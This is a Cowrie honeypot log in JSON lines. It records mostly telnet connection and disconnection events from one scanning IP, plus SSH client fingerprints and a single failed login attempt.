{"eventid":"cowrie.session.closed","duration":31.008485555648804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:48.088517Z","src_ip":"69.73.180.12","session":"83c43ac99eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd3157d7839","protocol":"telnet","message":"New connection: 69.73.180.12:50206 (10.17.0.5:23) [session: 3cd3157d7839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:50.130867Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38072,"dst_ip":"10.17.0.5","dst_port":23,"session":"0270b5714533","protocol":"telnet","message":"New connection: 69.73.180.12:38072 (10.17.0.5:23) [session: 0270b5714533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:50.154304Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":54416,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44e60de9588","protocol":"telnet","message":"New connection: 69.73.180.12:54416 (10.17.0.5:23) [session: c44e60de9588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:51.157818Z"}
{"eventid":"cowrie.session.closed","duration":30.86531400680542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:52.105960Z","src_ip":"69.73.180.12","session":"5736ee802d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031948804855347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:53.115195Z","src_ip":"69.73.180.12","session":"8808e32b3326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":35148,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4297e1cbef7","protocol":"telnet","message":"New connection: 69.73.180.12:35148 (10.17.0.5:23) [session: a4297e1cbef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:53.310459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eeb6e194ca4","protocol":"telnet","message":"New connection: 69.73.180.12:35282 (10.17.0.5:23) [session: 4eeb6e194ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:53.346963Z"}
{"eventid":"cowrie.session.closed","duration":31.331332206726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:53.555635Z","src_ip":"69.73.180.12","session":"52008d7dd847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46586,"dst_ip":"10.17.0.5","dst_port":23,"session":"f27dfd8b0d5c","protocol":"telnet","message":"New connection: 69.73.180.12:46586 (10.17.0.5:23) [session: f27dfd8b0d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:56.229677Z"}
{"eventid":"cowrie.session.closed","duration":30.9856059551239,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:57.101470Z","src_ip":"69.73.180.12","session":"7c1cac60b482","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":45926,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfba4339bd9b","protocol":"telnet","message":"New connection: 69.73.180.12:45926 (10.17.0.5:23) [session: cfba4339bd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:57.115919Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"3607b26c4391","protocol":"telnet","message":"New connection: 69.73.180.12:52046 (10.17.0.5:23) [session: 3607b26c4391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:57.655493Z"}
{"eventid":"cowrie.session.closed","duration":30.974499940872192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:58.092168Z","src_ip":"69.73.180.12","session":"412a20dcef3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":53938,"dst_ip":"10.17.0.5","dst_port":23,"session":"8200158fe76f","protocol":"telnet","message":"New connection: 69.73.180.12:53938 (10.17.0.5:23) [session: 8200158fe76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:58.147350Z"}
{"eventid":"cowrie.session.closed","duration":30.966735124588013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:59.053238Z","src_ip":"69.73.180.12","session":"2092efe07cd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00099849700928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:35:59.375089Z","src_ip":"152.59.19.2","session":"b05ac40f5eef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":32968,"dst_ip":"10.17.0.5","dst_port":23,"session":"1909801fea08","protocol":"telnet","message":"New connection: 69.73.180.12:32968 (10.17.0.5:23) [session: 1909801fea08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:00.065052Z"}
{"eventid":"cowrie.session.closed","duration":30.934252738952637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:00.071360Z","src_ip":"69.73.180.12","session":"b1f3b5fcf176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":33416,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc9574f0af4","protocol":"telnet","message":"New connection: 69.73.180.12:33416 (10.17.0.5:23) [session: 6cc9574f0af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:00.138487Z"}
{"eventid":"cowrie.session.closed","duration":120.00222492218018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:00.917981Z","src_ip":"152.59.19.2","session":"a4b1056b7f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00135564804077,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:00.936400Z","src_ip":"152.59.19.2","session":"e2090c54c5b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":36880,"dst_ip":"10.17.0.5","dst_port":23,"session":"e01fcb7df800","protocol":"telnet","message":"New connection: 69.73.180.12:36880 (10.17.0.5:23) [session: e01fcb7df800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:01.120814Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":38114,"dst_ip":"10.17.0.5","dst_port":23,"session":"b23c9e96fe19","protocol":"telnet","message":"New connection: 69.73.180.12:38114 (10.17.0.5:23) [session: b23c9e96fe19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:01.385559Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":55264,"dst_ip":"159.203.135.109","dst_port":23,"session":"e617f4fcaac7","protocol":"telnet","message":"New connection: 152.59.19.2:55264 (159.203.135.109:23) [session: e617f4fcaac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:01.490859Z"}
{"eventid":"cowrie.session.closed","duration":31.646488666534424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:01.731201Z","src_ip":"69.73.180.12","session":"45174303705e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.072033166885376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:02.040436Z","src_ip":"69.73.180.12","session":"c8ca3adc2a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00153946876526,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:02.486786Z","src_ip":"152.59.19.2","session":"acb2a11de492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":55374,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec717883db39","protocol":"telnet","message":"New connection: 152.59.19.2:55374 (159.203.135.109:23) [session: ec717883db39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:02.600098Z"}
{"eventid":"cowrie.session.closed","duration":30.913601875305176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.073383Z","src_ip":"69.73.180.12","session":"0933f2308727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18864107131958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.089460Z","src_ip":"69.73.180.12","session":"b74d1baecafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":44254,"dst_ip":"10.17.0.5","dst_port":23,"session":"598dcd5cc585","protocol":"telnet","message":"New connection: 69.73.180.12:44254 (10.17.0.5:23) [session: 598dcd5cc585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.118061Z"}
{"eventid":"cowrie.session.closed","duration":31.120152950286865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.194322Z","src_ip":"69.73.180.12","session":"3aac457eee33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":55438,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9b052985dd","protocol":"telnet","message":"New connection: 152.59.19.2:55438 (159.203.135.109:23) [session: be9b052985dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.706799Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":46942,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02ef13cb8f2","protocol":"telnet","message":"New connection: 69.73.180.12:46942 (10.17.0.5:23) [session: c02ef13cb8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:03.803494Z"}
{"eventid":"cowrie.session.closed","duration":30.880677700042725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:04.023491Z","src_ip":"69.73.180.12","session":"371fb8275536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":51954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1ac17f088b","protocol":"telnet","message":"New connection: 69.73.180.12:51954 (10.17.0.5:23) [session: 3a1ac17f088b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:05.227521Z"}
{"eventid":"cowrie.session.closed","duration":30.77971863746643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:05.399462Z","src_ip":"69.73.180.12","session":"05c6eae1a062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95203447341919,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:06.103249Z","src_ip":"69.73.180.12","session":"b633920feca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59540,"dst_ip":"159.203.135.109","dst_port":22,"session":"798f1ed5ef19","protocol":"ssh","message":"New connection: 159.203.92.129:59540 (159.203.135.109:22) [session: 798f1ed5ef19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:06.959914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:06.968020Z","src_ip":"159.203.92.129","session":"798f1ed5ef19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:06.972803Z","src_ip":"159.203.92.129","session":"798f1ed5ef19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaaaaa","password":"333333","message":"login attempt [aaaaaa/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:06.984287Z","src_ip":"159.203.92.129","session":"798f1ed5ef19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d34e9820de81","protocol":"telnet","message":"New connection: 69.73.180.12:59298 (10.17.0.5:23) [session: d34e9820de81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:07.164622Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:07.990430Z","src_ip":"159.203.92.129","session":"798f1ed5ef19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.860522270202637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:09.014300Z","src_ip":"69.73.180.12","session":"5b22a9a14569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.971752405166626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:09.109204Z","src_ip":"69.73.180.12","session":"fe0614189f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41834,"dst_ip":"10.17.0.5","dst_port":23,"session":"de11acb7bf49","protocol":"telnet","message":"New connection: 69.73.180.12:41834 (10.17.0.5:23) [session: de11acb7bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:10.104861Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":43284,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e92c49ec49c","protocol":"telnet","message":"New connection: 69.73.180.12:43284 (10.17.0.5:23) [session: 9e92c49ec49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:10.474483Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":41892,"dst_ip":"10.17.0.5","dst_port":23,"session":"834c87ad224f","protocol":"telnet","message":"New connection: 69.73.180.12:41892 (10.17.0.5:23) [session: 834c87ad224f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:11.121460Z"}
{"eventid":"cowrie.session.closed","duration":30.986835718154907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:12.059625Z","src_ip":"69.73.180.12","session":"ba1175f4df71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918108463287354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:12.081088Z","src_ip":"69.73.180.12","session":"87822ac602b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52478,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d31a61fdae","protocol":"telnet","message":"New connection: 69.73.180.12:52478 (10.17.0.5:23) [session: d0d31a61fdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:13.057784Z"}
{"eventid":"cowrie.session.closed","duration":30.917659282684326,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:13.086441Z","src_ip":"69.73.180.12","session":"697b038c2968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52908,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d054682fa23","protocol":"telnet","message":"New connection: 69.73.180.12:52908 (10.17.0.5:23) [session: 0d054682fa23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:13.144870Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":52930,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09d6e51fd93","protocol":"telnet","message":"New connection: 69.73.180.12:52930 (10.17.0.5:23) [session: b09d6e51fd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:13.150128Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"557f808228b8","protocol":"telnet","message":"New connection: 69.73.180.12:56274 (10.17.0.5:23) [session: 557f808228b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:14.110029Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":58420,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9e26ba0c19","protocol":"telnet","message":"New connection: 69.73.180.12:58420 (10.17.0.5:23) [session: ab9e26ba0c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:14.704051Z"}
{"eventid":"cowrie.session.closed","duration":30.857386589050293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:15.039073Z","src_ip":"69.73.180.12","session":"724a8058ff7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819159030914307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:15.050719Z","src_ip":"69.73.180.12","session":"086e04abb2ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63230562210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:15.058844Z","src_ip":"69.73.180.12","session":"74691f4b4f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":59908,"dst_ip":"10.17.0.5","dst_port":23,"session":"5089ed2362a7","protocol":"telnet","message":"New connection: 69.73.180.12:59908 (10.17.0.5:23) [session: 5089ed2362a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:15.144442Z"}
{"eventid":"cowrie.session.closed","duration":30.953259229660034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:16.093421Z","src_ip":"69.73.180.12","session":"536c01e12640","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869276762008667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:17.011177Z","src_ip":"69.73.180.12","session":"44451bed63e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.73.180.12","src_port":40042,"dst_ip":"10.17.0.5","dst_port":23,"session":"438fac27cbbb","protocol":"telnet","message":"New connection: 69.73.180.12:40042 (10.17.0.5:23) [session: 438fac27cbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:17.593632Z"}
{"eventid":"cowrie.session.closed","duration":30.89771270751953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:21.028496Z","src_ip":"69.73.180.12","session":"3cd3157d7839","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.931313276290894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:21.085527Z","src_ip":"69.73.180.12","session":"0270b5714533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912633657455444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:22.070359Z","src_ip":"69.73.180.12","session":"c44e60de9588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754935264587402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:24.065314Z","src_ip":"69.73.180.12","session":"a4297e1cbef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73352575302124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:24.080360Z","src_ip":"69.73.180.12","session":"4eeb6e194ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":22138,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d4f4e49c07","protocol":"ssh","message":"New connection: 193.46.255.86:22138 (159.203.135.109:22) [session: 63d4f4e49c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:27.026011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:27.032461Z","src_ip":"193.46.255.86","session":"63d4f4e49c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.825300455093384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:36:27.054837Z","src_ip":"69.73.180.12","session":"f27dfd8b0d5c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cb